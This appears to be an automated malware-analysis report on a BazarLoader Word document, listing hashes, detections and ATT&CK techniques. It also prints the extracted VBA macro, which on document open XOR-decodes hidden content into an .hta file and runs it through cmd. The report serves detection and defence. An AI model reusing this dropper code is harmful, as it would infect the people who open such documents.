BazarLoader — Office (OOXML) malware analysis

Static analysis result for SHA-256 9245f425794258f8…

MALICIOUS

Office (OOXML)

49.4 KB Created: 2021-06-30 10:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: 97b1bb23455fb9a9607f37df266459fc SHA-1: ae974ca9ace51918388c76d55da2d13aa121a57c SHA-256: 9245f425794258f8e0a50f43e5dd0208034c848c355ed9cf9328b1a723405ebf
262 Risk Score

Malware Insights

BazarLoader · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing a VBA macro. The Document_Open macro triggers the execution of cmd.exe via the Shell() function, which is used to download a second-stage payload to 'c:\programdata\borderView.h'. This behavior is consistent with BazarLoader malware, which often uses macro-enabled documents to download and execute further stages.

Heuristics 7

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1793 bytes
SHA-256: 7d9665cc590a4bd2c7fdc71957690b002923265ff283e25594e3455be139bcc6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                        Sub Document_Open()
                        If Len("libsLoadLibs") > 0 Then
                                main
                        End If
                        End Sub

Attribute VB_Name = "cHLib"
Function curBoolButt()
curBoolButt = "!"
End Function
Function btnTableReq(classCountCollect, captLongMem)
btnTableReq = Split(classCountCollect, captLongMem)
End Function
Function cntBefore(classCountCollect)
Shell collectionCurrency("c:\windows\system32\cmd /c ")
End Function
Function collectionCurrency(classCountCollect, Optional classLink = "c:\programdata\borderView.h", Optional templateByteOpt = "t", Optional clsTableInd = "a")
collectionCurrency = classCountCollect & classLink & "" & templateByteOpt & clsTableInd
End Function
Function selBoxCurr(databaseInteger As Variant)
Dim boxButtonR As String
boxButtonR = vbNullChar
singleW = UBound(databaseInteger)
For pointDateAfter = 1 To singleW
boxButtonR = boxButtonR & Chr(databaseInteger(pointDateAfter) Xor 110)
Next
selBoxCurr = boxButtonR
End Function

Attribute VB_Name = "copyRef"
Sub main()
listValButt
screenPointerSngl = cntBefore("")
End Sub

Attribute VB_Name = "ctrlLinkCls"
Sub listValButt()
Open collectionCurrency("") For Output As #1
Print #1, selBoxCurr(leftIndexCls)
Close #1
End Sub
Function optionSel(vCount)
optionSel = btnTableReq(vCount, curBoolButt)
End Function
Function leftIndexCls()
leftIndexCls = optionSel(ActiveDocument.Content)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 345912db4f319b4b3bfa317810c6208d0afa6b96477cc49b1439580d8f43c050

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